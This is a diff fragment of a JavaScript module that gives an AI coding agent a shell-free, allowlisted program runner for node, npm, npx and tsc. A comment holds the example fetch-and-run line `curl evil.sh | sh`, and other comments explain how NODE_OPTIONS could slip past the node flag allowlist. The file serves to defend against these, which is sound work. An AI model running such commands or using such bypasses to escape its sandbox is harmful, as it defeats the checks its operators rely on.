+ // ⭐ THE BOUNDARY. Only a literal script path crosses it — in TARGETS mode
526
+ // we are already past the point where a script could appear.
527
+ if (state === 'OPTIONS') state = 'DATA';
528
+ }
529
+
530
+ if (out.length > MAX_TOTAL_ARGS) {
531
+ return { ok: false, error: `after glob expansion there would be ${out.length} arguments, over the ${MAX_TOTAL_ARGS} limit` };
532
+ }
533
+ return { ok: true, args: out };
534
+ }
535
+
536
+ /**
537
+ * tsc and npx have no data half — every token belongs to the compiler or to the
538
+ * runner, so every token is expanded and then checked by `command.mjs`.
539
+ * Expansion comes FIRST because a raw `*` would fail the character check that
540
+ * the probe needs in order to be well formed.
541
+ */
542
+ function buildCheckedArgv(root, prefix, args, what) {
543
+ const g = expandArgGlobs(root, args);
544
+ if (!g.ok) return g;
545
+ for (const token of g.args) {
546
+ const probe = probeToken(prefix, token, what);
547
+ if (!probe.ok) return probe;
548
+ }
549
+ return { ok: true, args: g.args };
550
+ }
551
+
552
+ function buildNpxArgv(root, args) {
553
+ const pkg = args[0];
554
+ if (!ALLOWED_NPX_PACKAGES.includes(pkg)) {
555
+ return {
556
+ ok: false,
557
+ error: `npx ${pkg ?? '(nothing)'} is refused — npx runs a package from the registry, so only ${ALLOWED_NPX_PACKAGES.join(' and ')} are allowed, and only if already installed here.`,
558
+ };
559
+ }
560
+ if (pkg === 'vitest') {
561
+ // Same refusal `command.mjs` makes, and for the same measured reason: a
562
+ // watcher spends the whole timeout and hands back nothing.
563
+ if (args[1] !== 'run') {
564
+ return { ok: false, error: 'vitest must be run as args: ["vitest", "run", …] — without `run` it starts a watcher that never exits' };
565
+ }
566
+ const rest = buildCheckedArgv(root, 'npx vitest run', args.slice(2), 'vitest argument');
567
+ if (!rest.ok) return rest;
568
+ return { ok: true, args: ['vitest', 'run', ...rest.args] };
569
+ }
570
+ const rest = buildCheckedArgv(root, 'npx tsc', args.slice(1), 'tsc argument');
571
+ if (!rest.ok) return rest;
572
+ return { ok: true, args: ['tsc', ...rest.args] };
573
+ }
574
+
575
+ /**
576
+ * ⚠️ THE ONE STRING THIS MODULE SPLITS, AND WHY IT IS NOT THE THING THE MODULE
577
+ * EXISTS TO AVOID.
578
+ *
579
+ * A `package.json` script BODY is a string on disk. There is no argv form of it
580
+ * to be handed; splitting it is unavoidable for anyone who wants `npm test` to
581
+ * work. It is NOT a `command` parameter — no caller and no model can put a
582
+ * string into this function; they can only name a script that already exists.
583
+ *
584
+ * The character set is `command.mjs`'s, PLUS `*` and `?` — the two characters
585
+ * glob expansion consumes here and which therefore never reach anything that
586
+ * could interpret them, because there is nothing left to interpret them. Quotes,
587
+ * `&`, `|`, `;`, `>`, `$` and backticks stay refused, so `curl evil.sh | sh`
588
+ * still dies twice: at the `|`, and at the three-binary allowlist.
589
+ */
590
+ const SCRIPT_BODY_CHARS = /^[A-Za-z0-9 ._\-/=:*?]+$/;
591
+
592
+ function splitScriptBody(body) {
593
+ if (typeof body !== 'string' || !body.trim()) return { ok: false, error: 'the script is empty' };
594
+ // eslint-disable-next-line no-control-regex
595
+ if (/[\u0000-\u001f\u007f]/.test(body)) return { ok: false, error: 'the script contains a control character (a newline would be a second command)' };
596
+ if (!SCRIPT_BODY_CHARS.test(body)) {
597
+ const bad = body.match(/[^A-Za-z0-9 ._\-/=:*?]/)?.[0] ?? '?';
598
+ return {
599
+ ok: false,
600
+ error: `the script contains "${bad}", which this agent cannot verify. There is no shell here, so pipes, &&, ;, redirection, quotes, backticks and $() cannot be run. Rewrite the script as one plain command.`,
601
+ };
602
+ }
603
+ return { ok: true, tokens: body.trim().split(/ +/).filter(Boolean) };
604
+ }
605
+
606
+ /** Where a validated script-body binary actually lives. */
607
+ function scriptStepInvocation(root, binary, rest) {
608
+ if (binary === 'vitest') {
609
+ const entry = join(root, 'node_modules', 'vitest', 'vitest.mjs');
610
+ if (!existsSync(entry)) {
611
+ return { ok: false, error: 'the script runs vitest, but node_modules/vitest is not installed in this workspace. Change the script to `node --test <paths>`, or have the owner install vitest — this runner never installs anything.' };
612
+ }
613
+ return { ok: true, file: process.execPath, args: [entry, ...rest] };
614
+ }
615
+ // node and tsc resolve exactly as `command.mjs` resolves them; reusing its
616
+ // builder is what keeps the Windows `.cmd`/BatBadBut reasoning in one place.
617
+ return buildInvocation({ binary, tokens: [binary, ...rest] }, root);
618
+ }
619
+
620
+ /** Validate one script body into a spawnable step. */
621
+ function planScriptStep(root, name, body, extraArgs = []) {
622
+ const split = splitScriptBody(body);
623
+ if (!split.ok) return { ok: false, error: `the "${name}" script is ${JSON.stringify(body)}, which is not allowed: ${split.error}` };
624
+ const [binary, ...rest] = split.tokens;
625
+ if (!ALLOWED_SCRIPT_BINARIES.includes(binary)) {
626
+ return {
627
+ ok: false,
628
+ error: `the "${name}" script runs "${binary}", which this agent cannot verify. An npm script may only run: ${ALLOWED_SCRIPT_BINARIES.join(', ')}.`,
629
+ };
630
+ }
631
+ let planned;
632
+ if (binary === 'node') planned = buildNodeArgv(root, rest);
633
+ else if (binary === 'vitest') {
634
+ if (rest[0] !== 'run') return { ok: false, error: `the "${name}" script runs vitest without \`run\`, which starts a watcher that never exits` };
635
+ const checked = buildCheckedArgv(root, 'npx vitest run', rest.slice(1), 'vitest argument');
636
+ planned = checked.ok ? { ok: true, args: ['run', ...checked.args] } : checked;
637
+ } else planned = buildCheckedArgv(root, 'tsc', rest, 'tsc argument');
638
+ if (!planned.ok) return { ok: false, error: `the "${name}" script is ${JSON.stringify(body)}, which is not allowed: ${planned.error}` };
639
+
640
+ const finalArgs = [...planned.args, ...extraArgs];
641
+ const inv = scriptStepInvocation(root, binary, finalArgs);
642
+ if (!inv.ok) return inv;
643
+ return { ok: true, name, binary, argv: [binary, ...finalArgs], file: inv.file, spawnArgs: inv.args };
644
+ }
645
+
646
+ function readPackageJson(root) {
647
+ const r = resolveInWorkspace(root, 'package.json', 'read');
648
+ if (!r.ok) return { ok: false, error: `package.json is unreadable here: ${r.reason}` };
649
+ if (!existsSync(r.absolute)) return { ok: false, error: 'this workspace has no package.json, so there are no npm scripts to run. Run the file directly: program "node", args ["path/to/file.mjs"].' };
650
+ let text;
651
+ try {
652
+ text = readFileSync(r.absolute, 'utf8');
653
+ } catch (err) {
654
+ return { ok: false, error: `package.json could not be read: ${err instanceof Error ? err.message : String(err)}` };
655
+ }
656
+ let pkg;
657
+ try {
658
+ pkg = JSON.parse(text);
659
+ } catch (err) {
660
+ return { ok: false, error: `package.json is not valid JSON: ${err instanceof Error ? err.message : String(err)}` };
661
+ }
662
+ return { ok: true, pkg };
663
+ }
664
+
665
+ /**
666
+ * ⚠️ THE FLOOR IS 50ms, NOT `command.mjs`'s 1,000ms, AND THE DIFFERENCE IS
667
+ * DELIBERATE. Clamping a requested 100ms up to a second means the result says
668
+ * `timedOut: false` for a run that was never given the timeout it asked for —
669
+ * the tool quietly answered a different question. A short timeout is a legitimate
670
+ * "is this thing hung?" probe, so it is honoured; 50ms is only there because
671
+ * below it every spawn on Windows times out on process creation alone, which
672
+ * would be a refusal dressed as a result.
673
+ */
674
+ export const MIN_TIMEOUT_MS = 50;
675
+
676
+ function boundTimeout(timeoutMs) {
677
+ const n = typeof timeoutMs === 'number' && Number.isFinite(timeoutMs) ? timeoutMs : DEFAULT_COMMAND_TIMEOUT_MS;
678
+ return Math.min(Math.max(MIN_TIMEOUT_MS, n), MAX_COMMAND_TIMEOUT_MS);
679
+ }
680
+
681
+ function realRootOf(root) {
682
+ try {
683
+ return { ok: true, root: realpathSync(resolve(root)) };
684
+ } catch {
685
+ return { ok: false, error: `workspace directory does not exist: ${root}` };
686
+ }
687
+ }
688
+
689
+ /**
690
+ * Run one already-planned invocation. `spawnBounded` owns the timeout, the
691
+ * SIGKILL, the output cap and the scrubbed environment — this module adds no
692
+ * options of its own, which is how `shell: true` stays unreachable.
693
+ */
694
+ async function spawnPlanned({ file, spawnArgs, cwd, timeoutMs, spawnImpl }) {
695
+ // ⚠️ Passed explicitly rather than relying on spawnBounded's default, so a
696
+ // future edit to that default cannot silently hand this child a real key.
697
+ /**
698
+ * ⚠️ `childEnvironment`, NOT `scrubEnvironment` — it also switches npm
699
+ * lifecycle scripts off for a child that is not npm itself. This module is
700
+ * the `node <a file the model wrote>` road, and that is exactly where an
701
+ * install was reaching npm with scripts ENABLED while the gated road had them
702
+ * off. See the paragraph on `childEnvironment` for what this does and does
703
+ * not close, and for the pre/post-hook cost it deliberately accepts.
704
+ */
705
+ const env = childEnvironment({ file, args: spawnArgs }, process.env);
706
+ /**
707
+ * ⚠️⚠️ TWO VARIABLES `scrubEnvironment` DOES NOT KNOW ABOUT, BOTH FOUND BY
708
+ * RUNNING THIS RATHER THAN BY READING IT.
709
+ *
710
+ * · `NODE_OPTIONS` is the flag allowlist's back door. Every refusal above —
711
+ * `--require`, `--import`, `--loader`, `--inspect` — is bypassed if the
712
+ * PARENT's environment already contains it, because node reads NODE_OPTIONS
713
+ * before it reads argv. Nothing in the scrub matches the name (it has no
714
+ * KEY/TOKEN/SECRET in it), so it would have been inherited straight past
715
+ * the door this module spends fifty lines guarding.
716
+ * · `NODE_TEST_CONTEXT` is set inside `node --test`, and a child that sees it
717
+ * believes it is a test WORKER: it stops printing TAP and starts writing a
718
+ * serialised stream to a parent that is not listening. Observed here — the
719
+ * nested `node --test` returned exit 0 and an EMPTY stdout, which is the
720
+ * silent-green failure this whole module exists to prevent, arriving by a
721
+ * completely different route.
722
+ *
723
+ * Deleted here rather than in `scrubEnvironment` because that function is
724
+ * shared with `run_command` and this module must not change its behaviour.
725
+ */
726
+ delete env.NODE_OPTIONS;
727
+ delete env.NODE_TEST_CONTEXT;
728
+ return spawnBounded({ file, args: spawnArgs, cwd, timeoutMs, spawnImpl, env });
729
+ }
730
+
731
+ /**
732
+ * ── ⭐ PLANNING, SEPARATED FROM RUNNING ─────────────────────────────────────
733
+ *
734
+ * node · npx · tsc: validate the argv and resolve the EXACT `spawn(file, args)`,
735
+ * without spawning anything. Extracted from `runProgram` rather than written
736
+ * beside it, because `background.mjs` needs this half and only this half — it
737
+ * starts a process that must OUTLIVE the call, so it cannot use `spawnPlanned`,
738
+ * which owns the timeout that kills one.
739
+ *
740
+ * ⚠️ THE POINT IS THAT THERE IS NO SECOND COPY. A background start that
741
+ * re-derived "is this a legal node flag" would be a second, less-audited door to
742
+ * the same capability — the exact shape `command.mjs` names as the bug in its own
743
+ * header, and this package has already shipped one RCE that printed a check mark.
744
+ * Every refusal a background process gets is therefore, byte for byte, the
745
+ * refusal `run_program` would have given.
746
+ */
747
+ function planBinaryInvocation(cwd, program, args) {
748
+ let planned;
749
+ if (program === 'node') planned = buildNodeArgv(cwd, args);
750
+ else if (program === 'npx') planned = buildNpxArgv(cwd, args);
751
+ else planned = buildCheckedArgv(cwd, 'tsc', args, 'tsc argument');
752
+ if (!planned.ok) return planned;
753
+
754
+ const inv = buildInvocation({ binary: program, tokens: [program, ...planned.args] }, cwd);
755
+ if (!inv.ok) return { ok: false, error: inv.error };
756
+ return { ok: true, argv: [program, ...planned.args], file: inv.file, spawnArgs: inv.args };
757
+ }
758
+
759
+ /**
760
+ * `npm test` / `npm run <script>` / `npm run <script> -- <args…>`, as ONE
761
+ * planned spawn.
762
+ *
763
+ * ⚠️ SHARED WITH `runNpm` SO THE TWO CANNOT DISAGREE ABOUT WHAT `--` MEANS.
764
+ *
765
+ * @returns {{ ok: true, script: string, extra: string[] } | ArgvRefused}
766
+ */
767
+ function parseNpmArgs(args) {
768
+ const sub = args[0];
769
+ /**
770
+ * ⚠️ AN INSTALL IS NEVER A BACKGROUND PROCESS, EVEN WHEN INSTALLS ARE ON.
771
+ * `start_process` starts something nobody waits for. An install nobody waits
772
+ * for races the very `node`/`npm test` run that needs what it is fetching, and
773
+ * its receipt — the package.json line a human is supposed to review — is read
774
+ * by no one. So this refusal has no switch, and it names the way out.
775
+ */
776
+ if (INSTALL_SUBCOMMANDS.has(sub)) {
777
+ return { ok: false, error: `npm ${sub} cannot be started in the background — nothing would wait for it, so the next command would race a half-populated node_modules, and this runner never installs or publishes without being waited on. Run it with run_program instead.` };
778
+ }
779
+ if (REFUSED_NPM_SUBCOMMANDS.has(sub)) {
780
+ return { ok: false, error: `npm ${sub} is refused — this runner never installs or publishes. Only "test", "run <script>" and "run <script> -- <args…>" are available.` };
781
+ }
782
+ if (sub === 'test' || sub === 't') {
783
+ if (args.length !== 1) {
784
+ return { ok: false, error: 'npm test takes no extra arguments. To pass arguments to a script use args: ["run", "<script>", "--", …].' };
785
+ }
786
+ return { ok: true, script: 'test', extra: [] };
787
+ }
788
+ if (sub === 'run' || sub === 'run-script') {
789
+ const script = args[1];
790
+ if (typeof script !== 'string' || !/^[A-Za-z0-9][A-Za-z0-9:._-]*$/.test(script)) {
791
+ return { ok: false, error: `"${script ?? '(nothing)'}" is not a valid npm script name — args must be ["run", "<script>"] or ["run", "<script>", "--", …]` };
792
+ }
793
+ if (args.length > 2 && args[2] !== '--') {
794
+ return { ok: false, error: 'to pass arguments to a script, separate them with "--": args: ["run", "build", "--", "--out", "dist"]' };
795
+ }
796
+ return { ok: true, script, extra: args.length > 2 ? args.slice(3) : [] };
797
+ }
798
+ return {
799
+ ok: false,
800
+ error: `npm ${sub ?? '(nothing)'} is refused — only "test", "run <script>" and "run <script> -- <args…>" are available here. This runner never installs or publishes.`,
801
+ };
802
+ }
803
+
804
+ /**
805
+ * ── ⭐ PLAN ONE PROCESS, FOR A CALLER THAT WILL NOT WAIT FOR IT ──────────────
806
+ *
807
+ * Everything `run_program` checks, and nothing it runs. `background.mjs` calls
808
+ * this so `start_process` can finally take a real argv — `node server.mjs
809
+ * --port 3005`, the most common dev-server invocation on earth, which the string
810
+ * parser refuses because `--port` is not one of NODE's flags (measured: it is,
811
+ * and always was, refused).
812
+ *
813
+ * ⚠️ npm IS PLANNED, NOT SPAWNED — the same trick `runPackageScript` uses and for
814
+ * a sharper reason here. Handing extra arguments to `npm run dev -- --port 3005`
815
+ * means npm appends them to the script BODY and hands the result to a shell; the
816
+ * quoting of that append is npm's business, not ours, and "probably quoted" is
817
+ * not a security argument. So the script body is validated and its program is
818
+ * spawned directly with a real argv, exactly as `run_program` does.
819
+ *
820
+ * ⚠️ A `pre`/`post` HOOK IS A REFUSAL RATHER THAN A SKIP. `runPackageScript`
821
+ * runs them in npm's order and stops at the first failure — impossible for a
822
+ * single background process, which by definition nobody waits for. Silently
823
+ * dropping a `predev` that builds the thing being served would make the server
824
+ * serve something stale, so it says so and names the way out.
825
+ *
826
+ * @param {{ root: string, program: unknown, args?: unknown }} input
827
+ * @returns {{ ok: true, cwd: string, program: string, script?: string, argv: string[], file: string, spawnArgs: string[] } | ArgvRefused}
828
+ */
829
+ export function planSingleSpawn({ root, program, args } = {}) {
830
+ const rr = realRootOf(root);
831
+ if (!rr.ok) return { ok: false, error: rr.error };
832
+ const cwd = rr.root;
833
+
834
+ if (typeof program !== 'string' || !program) {
835
+ return { ok: false, error: `program is required and must be one of: ${ALLOWED_BINARIES.join(', ')}` };
836
+ }
837
+ if (!ALLOWED_BINARIES.includes(program)) {
838
+ return {
839
+ ok: false,
840
+ error: `"${program}" is not a program this agent may run. Allowed: ${ALLOWED_BINARIES.join(', ')}. git has its own structured tools (git_status, git_diff, git_commit); curl, python, rm, bash, sh, cmd and powershell are not reachable from here at all.`,
841
+ };
842
+ }
843
+
844
+ const list = checkArgList(args);
845
+ if (!list.ok) return list;
846
+
847
+ if (program === 'npm') {
848
+ const parsed = parseNpmArgs(list.args);
849
+ if (!parsed.ok) return parsed;
850
+ const read = readPackageJson(cwd);
851
+ if (!read.ok) return read;
852
+ const scripts = read.pkg && typeof read.pkg === 'object' ? read.pkg.scripts : null;
853
+ if (!scripts || typeof scripts !== 'object') {
854
+ return { ok: false, error: 'package.json has no "scripts" section, so there is nothing to run. Run the file directly: program "node", args ["path/to/file.mjs"].' };
855
+ }
856
+ if (typeof scripts[parsed.script] !== 'string') {
857
+ const available = Object.keys(scripts).slice(0, 12);
858
+ return { ok: false, error: `package.json has no "${parsed.script}" script${available.length ? ` (it has: ${available.join(', ')})` : ''}` };
859
+ }
860
+ for (const hook of [`pre${parsed.script}`, `post${parsed.script}`]) {
861
+ if (typeof scripts[hook] !== 'string') continue;
862
+ return {
863
+ ok: false,
864
+ error: `the "${parsed.script}" script has a "${hook}" hook, and only ONE process can be started in the background — nothing would wait for the hook, so it would either be skipped or race the thing it exists to prepare. Run it first with run_program {"program":"npm","args":["run","${hook}"]}, then start "${parsed.script}".`,
865
+ };
866
+ }
867
+ const step = planScriptStep(cwd, parsed.script, scripts[parsed.script], parsed.extra);
868
+ if (!step.ok) return step;
869
+ return {
870
+ ok: true,
871
+ cwd,
872
+ program,
873
+ script: parsed.script,
874
+ argv: parsed.extra.length ? ['npm', 'run', parsed.script, '--', ...parsed.extra] : ['npm', 'run', parsed.script],
875
+ ranArgv: step.argv,
876
+ file: step.file,
877
+ spawnArgs: step.spawnArgs,
878
+ };
879
+ }
880
+
881
+ const plan = planBinaryInvocation(cwd, program, list.args);
882
+ if (!plan.ok) return plan;
883
+ return { ok: true, cwd, program, argv: plan.argv, file: plan.file, spawnArgs: plan.spawnArgs };
884
+ }
885
+
886
+ /**
887
+ * ── ⭐ THE TOOL ─────────────────────────────────────────────────────────────
888
+ *
889
+ * @param {{ root: string, program: unknown, args?: unknown, timeoutMs?: number, spawnImpl?: Function }} input
890
+ */
891
+ export async function runProgram({ root, program, args, timeoutMs, spawnImpl } = {}) {
892
+ const rr = realRootOf(root);
893
+ if (!rr.ok) return { ok: false, error: rr.error };
894
+ const cwd = rr.root;
895
+
896
+ if (typeof program !== 'string' || !program) {
897
+ return { ok: false, error: `program is required and must be one of: ${ALLOWED_BINARIES.join(', ')}` };
898
+ }
899
+ if (!ALLOWED_BINARIES.includes(program)) {
900
+ return {
901
+ ok: false,
902
+ error: `"${program}" is not a program this agent may run. Allowed: ${ALLOWED_BINARIES.join(', ')}. git has its own structured tools (git_status, git_diff, git_commit); curl, python, rm, bash, sh, cmd and powershell are not reachable from here at all.`,
903
+ };
904
+ }
905
+
906
+ const list = checkArgList(args);
907
+ if (!list.ok) return list;
908
+
909
+ /**
910
+ * ⚠️ npm KEEPS ITS OWN, MULTI-STEP PATH HERE. `planSingleSpawn` plans exactly
911
+ * one process and refuses a `pre`/`post` hook; `run_program` waits for what it
912
+ * starts, so it can and must run the hooks in npm's order.
913
+ */
914
+ if (program === 'npm') return runNpm({ root: cwd, args: list.args, timeoutMs, spawnImpl });
915
+
916
+ const planned = planBinaryInvocation(cwd, program, list.args);
917
+ if (!planned.ok) return planned;
918
+ const inv = { file: planned.file, args: planned.spawnArgs };
919
+
920
+ const run = await spawnPlanned({ file: inv.file, spawnArgs: inv.args, cwd, timeoutMs: boundTimeout(timeoutMs), spawnImpl });
921
+ if (!run.ok) return run;
922
+
923
+ return {
924
+ ok: true,
925
+ program,
926
+ /**
927
+ * ⚠️ TWO ARGVS, ON PURPOSE. `argv` is the logical one — it is the receipt
928
+ * that proves `"buy milk"` arrived as ONE slot, which is the fact the model
929
+ * (and the transcript) needs. `spawnArgv` is literally what hit the OS,
930
+ * including the resolved npx/tsc entry point, because "what really ran" and
931
+ * "what I asked for" differ for three of the four programs.
932
+ */
933
+ argv: planned.argv,
934
+ spawnArgv: [inv.file, ...inv.args],
935
+ exitCode: run.exitCode,
936
+ signal: run.signal,
937
+ timedOut: run.timedOut,
938
+ stdout: run.stdout,
939
+ stderr: run.stderr,
940
+ truncated: run.truncated,
941
+ durationMs: run.durationMs,
942
+ // `ok` means it RAN. Whether it passed is a separate fact, and conflating
943
+ // the two is how a loop reports success on a failing test.
944
+ passed: run.exitCode === 0 && !run.timedOut,
945
+ };
946
+ }
947
+
948
+ /** `npm` never actually gets spawned — see runPackageScript for why. EXCEPT for
949
+ * an install, which is the one npm subcommand npm itself has to perform. */
950
+ async function runNpm({ root, args, timeoutMs, spawnImpl, env = process.env }) {
951
+ const sub = args[0];
952
+ if (INSTALL_SUBCOMMANDS.has(sub)) return runNpmInstall({ root, args, timeoutMs, spawnImpl, env });
953
+ if (REFUSED_NPM_SUBCOMMANDS.has(sub)) {
954
+ return { ok: false, error: `npm ${sub} is refused — this runner never installs or publishes. Only "test", "run <script>" and "run <script> -- <args…>" are available.` };
955
+ }
956
+ if (sub === 'test' || sub === 't') {
957
+ if (args.length !== 1) {
958
+ return { ok: false, error: 'npm test takes no extra arguments. To pass arguments to a script use args: ["run", "<script>", "--", …].' };
959
+ }
960
+ return runPackageScript({ root, script: 'test', timeoutMs, spawnImpl });
961
+ }
962
+ if (sub === 'run' || sub === 'run-script') {
963
+ const script = args[1];
964
+ if (typeof script !== 'string' || !/^[A-Za-z0-9][A-Za-z0-9:._-]*$/.test(script)) {
965
+ return { ok: false, error: `"${script ?? '(nothing)'}" is not a valid npm script name — args must be ["run", "<script>"] or ["run", "<script>", "--", …]` };
966
+ }
967
+ let extra = [];
968
+ if (args.length > 2) {
969
+ if (args[2] !== '--') {
970
+ return { ok: false, error: 'to pass arguments to a script, separate them with "--": args: ["run", "build", "--", "--watchless"]' };
971
+ }
972
+ extra = args.slice(3);
973
+ }
974
+ return runPackageScript({ root, script, extraArgs: extra, timeoutMs, spawnImpl });
975
+ }
976
+ return {
977
+ ok: false,
978
+ error: `npm ${sub ?? '(nothing)'} is refused — only "test", "run <script>" and "run <script> -- <args…>" are available here. This runner never installs or publishes.`,
979
+ };
980
+ }
981
+
982
+ /**
983
+ * ── ⭐ RUN AN npm SCRIPT WITHOUT npm, AND WITHOUT A SHELL ───────────────────
984
+ *
985
+ * npm runs a script body by handing it to a shell. That is exactly the thing
986
+ * this package refuses to do, and on Windows it is also broken for our purposes:
987
+ * `cmd.exe` does not expand globs at all, so `node --test test/*.test.mjs` under
988
+ * npm on Windows runs ZERO tests and exits 0.
989
+ *
990
+ * ⭐ So the body is validated, its globs are expanded HERE, and its program is
991
+ * spawned directly with a real argv. Which means the most common test
992
+ * convention in Node finally works, and a suite that matches nothing fails
993
+ * loudly instead of passing vacuously.
994
+ *
995
+ * ⚠️ `pre<script>` and `post<script>` are run too, in npm's order, stopping at
996
+ * the first failure. They are not skipped, because a `pretest` that builds the
997
+ * thing under test is load-bearing, and silently omitting it would make a green
998
+ * run mean something different from what the user believes it means.
999
+ *
1000
+ * @param {{ root: string, script: unknown, extraArgs?: string[], timeoutMs?: number, spawnImpl?: Function }} input
1001
+ */
1002
+ export async function runPackageScript({ root, script, extraArgs = [], timeoutMs, spawnImpl } = {}) {
1003
+ const rr = realRootOf(root);
1004
+ if (!rr.ok) return { ok: false, error: rr.error };
1005
+ const cwd = rr.root;
1006
+
1007
+ if (typeof script !== 'string' || !script) return { ok: false, error: 'script is required — the name of an npm script, e.g. "test"' };
1008
+ const extra = checkArgList(extraArgs);
1009
+ if (!extra.ok) return extra;
1010
+
1011
+ const read = readPackageJson(cwd);
1012
+ if (!read.ok) return read;
1013
+ const scripts = read.pkg && typeof read.pkg === 'object' ? read.pkg.scripts : null;
1014
+ if (!scripts || typeof scripts !== 'object') {
1015
+ return { ok: false, error: 'package.json has no "scripts" section, so there is nothing to run. Run the file directly: program "node", args ["path/to/file.mjs"].' };
1016
+ }
1017
+ if (typeof scripts[script] !== 'string') {
1018
+ const available = Object.keys(scripts).slice(0, 12);
1019
+ return { ok: false, error: `package.json has no "${script}" script${available.length ? ` (it has: ${available.join(', ')})` : ''}` };
1020
+ }
1021
+
1022
+ const plan = [];
1023
+ for (const name of [`pre${script}`, script, `post${script}`]) {
1024
+ if (typeof scripts[name] !== 'string') continue;
1025
+ const step = planScriptStep(cwd, name, scripts[name], name === script ? extra.args : []);
1026
+ // ⚠️ EVERY step is validated BEFORE ANY step runs. Validating lazily would
1027
+ // let `pretest` execute and then refuse `posttest`, leaving the workspace
1028
+ // half-way through an operation nobody chose.
1029
+ if (!step.ok) return step;
1030
+ plan.push(step);
1031
+ }
1032
+
1033
+ const bounded = boundTimeout(timeoutMs);
1034
+ const steps = [];
1035
+ let chosen = null;
1036
+ let total = 0;
1037
+ for (const step of plan) {
1038
+ const run = await spawnPlanned({ file: step.file, spawnArgs: step.spawnArgs, cwd, timeoutMs: bounded, spawnImpl });
1039
+ if (!run.ok) return run;
1040
+ total += run.durationMs;
1041
+ steps.push({ name: step.name, argv: step.argv, exitCode: run.exitCode, timedOut: run.timedOut, durationMs: run.durationMs });
1042
+ // The result the model reads is the FIRST FAILURE if there is one, because
1043
+ // that is the output that explains the exit code; otherwise the named
1044
+ // script's own, because pre/post output is scaffolding.
1045
+ if (chosen === null && (run.exitCode !== 0 || run.timedOut)) chosen = { step, run };
1046
+ if (run.exitCode !== 0 || run.timedOut) break;
1047
+ if (step.name === script) chosen = { step, run };
1048
+ }
1049
+ if (!chosen) return { ok: false, error: `the "${script}" script produced no runnable step — this is a bug in acuvo-code` };
1050
+
1051
+ const { step, run } = chosen;
1052
+ return {
1053
+ ok: true,
1054
+ program: 'npm',
1055
+ script,
1056
+ argv: extra.args.length ? ['npm', 'run', script, '--', ...extra.args] : ['npm', 'run', script],
1057
+ /** ⭐ What the script BODY actually became, which is the line that proves a
1058
+ * glob expanded to real files rather than being handed over literally. */
1059
+ ranArgv: step.argv,
1060
+ spawnArgv: [step.file, ...step.spawnArgs],
1061
+ steps,
1062
+ exitCode: run.exitCode,
1063
+ signal: run.signal,
1064
+ timedOut: run.timedOut,
1065
+ stdout: run.stdout,
1066
+ stderr: run.stderr,
1067
+ truncated: run.truncated,
1068
+ durationMs: total,
1069
+ passed: run.exitCode === 0 && !run.timedOut,
1070
+ };
1071
+ }
1072
+
1073
+ /**
1074
+ * Render for the MODEL. Leads with the argv, because the argv is the fact the
1075
+ * old string runner could never show: it is how the model confirms its quoted
1076
+ * argument survived as one token.
1077
+ */
1078
+ export function formatProgramRunForModel(result) {
1079
+ if (!result.ok) return `run_program refused: ${result.error}`;
1080
+ const lines = [`$ ${JSON.stringify(result.argv)}`];
1081
+ if (result.ranArgv) lines.push(` script body ran as: ${JSON.stringify(result.ranArgv)}`);
1082
+ if (Array.isArray(result.installed)) {
1083
+ /** ⭐ Same receipt `run_command` prints, and for the same reason: without the
1084
+ * `--ignore-scripts` line, a package whose postinstall fetches its binary
1085
+ * installs "successfully" and then fails at require time with an error that
1086
+ * looks like a bug in the agent's own code. */
1087
+ for (const item of result.installed) {
1088
+ lines.push(item.range
1089
+ ? ` recorded in package.json: "${item.name}": "${item.range}" (${item.section})`
1090
+ : ` ⚠️ "${item.name}" is NOT in package.json after this install — nothing was recorded`);
1091
+ }
1092
+ lines.push(' (--ignore-scripts was forced: no lifecycle script from any package ran. A package that builds a native addon or downloads a binary at install time will need a human to install it.)');
1093
+ }
1094
+ if (result.timedOut) {
1095
+ lines.push(`TIMED OUT after ${Math.round(result.durationMs / 1000)}s and was killed. It produced no exit code.`);
1096
+ } else {
1097
+ lines.push(`exit code: ${result.exitCode} (${(result.durationMs / 1000).toFixed(1)}s)${result.passed ? ' — PASSED' : ' — FAILED'}`);
1098
+ }
1099
+ if (result.stdout?.trim()) lines.push('--- stdout ---', result.stdout.trimEnd());
1100
+ if (result.stderr?.trim()) lines.push('--- stderr ---', result.stderr.trimEnd());
1101
+ if (!result.stdout?.trim() && !result.stderr?.trim()) lines.push('(no output)');
1102
+ return lines.join('\n');
1103
+ }
1104
+
1105
+ export function spawnArgvToolSchemas() {
1106
+ return [
1107
+ {
1108
+ type: 'function',
1109
+ function: {
1110
+ name: 'run_program',
1111
+ description: [
1112
+ 'Run a program with a REAL argument array — this is the tool to use whenever an argument',
1113
+ 'contains a space, a quote, or a leading dash. There is no shell and no string parsing:',
1114
+ 'each item of `args` becomes exactly one argv slot, so "buy milk" stays one argument and',
1115
+ '--all, --pri, -- and > are passed to your program as plain data.',
1116
+ 'node: flags BEFORE the script path are checked (--eval, --require, --import, --env-file,',
1117
+ '--inspect and --watch are refused); everything AFTER the script path is passed through',
1118
+ 'untouched. npm: test, run <script>, and run <script> -- <args…>; exec and publish are always',
1119
+ `refused. npm install/ci works ONLY if the operator set ${ALLOW_INSTALL_ENV}=1 — when it is off the`,
1120
+ 'refusal says so, and telling the user that variable is the way to unblock a missing dependency.',
1121
+ 'When it is on: registry package names only (no URL, git, file: or npm: alias), at most four per',
1122
+ 'call, --ignore-scripts is forced (so a package that builds a native addon will need a human),',
1123
+ 'and the new package.json line is reported back to you.',
1124
+ 'npx: only vitest and tsc, already installed. A glob (* or ?) in a node test',
1125
+ 'target or an npm script body is expanded against the workspace, and a glob matching ZERO',
1126
+ 'files is an error rather than a run that exits 0 having tested nothing.',
1127
+ ].join(' '),
1128
+ parameters: {
1129
+ type: 'object',
1130
+ properties: {
1131
+ program: {
1132
+ type: 'string',
1133
+ enum: ALLOWED_BINARIES,
1134
+ description: 'One of node, npm, npx, tsc. Nothing else is reachable.',
1135
+ },
1136
+ args: {
1137
+ type: 'array',
1138
+ items: { type: 'string' },
1139
+ description: 'One argument per array item, e.g. ["bin/todo.js", "add", "buy milk"] or ["--test", "test/*.test.mjs"] or ["run", "build", "--", "--out", "dist"]. Never put two arguments in one string.',
1140
+ },
1141
+ timeoutMs: {
1142
+ type: 'number',
1143
+ description: `Milliseconds before the child is killed. Default ${DEFAULT_COMMAND_TIMEOUT_MS}, max ${MAX_COMMAND_TIMEOUT_MS}.`,
1144
+ },
1145
+ },
1146
+ required: ['program', 'args'],
1147
+ },
1148
+ },
1149
+ },
1150
+ ];
1151
+ }